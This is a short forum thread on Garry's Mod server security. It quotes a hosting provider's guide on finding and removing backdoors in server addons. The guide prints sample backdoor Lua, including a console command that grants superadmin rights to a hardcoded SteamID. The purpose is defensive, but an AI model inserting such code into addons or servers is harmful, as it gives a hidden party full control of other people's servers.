Do You What File It Is Located In ?
Source Of Quote: https://mtxserv.com/gmod-server/doc/how-...or-on-gmod
To identify a backdoor, you have to look at all SteamIDs. For example:
AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)
That is not a backdoor. It's just the name of a legit player.
A backdoor looks like this:
2 - AUTHENT (Presence of Steam ID) addons/nestorro/lua/autorun/nestorro_launch.lua:101 if ( ply:SteamID() == "STEAM_0:1:64045285") then
If you have
ply:SteamID() == "STEAM_0:100000000") then
It's possibly a backdoor. You always have to check something like that! A backdoor can be something like:
if ( ply:SteamID() == "STEAM_0:1:00000000") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else
How to remove a backdoor?
To remove the entire backdoor, remove the code (which can look like this):
concommand.Add( "Nestor", function(ply) if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Garry's Mod
How to remove BACKDOOR ?
Submitted by Zebeub2000, 29-04-2022, 08:25 PM, Thread ID: 241506
Thread Closed
RE: How to remove BACKDOOR ? 06-05-2022, 04:29 AM #2
06-05-2022, 04:29 AM
#2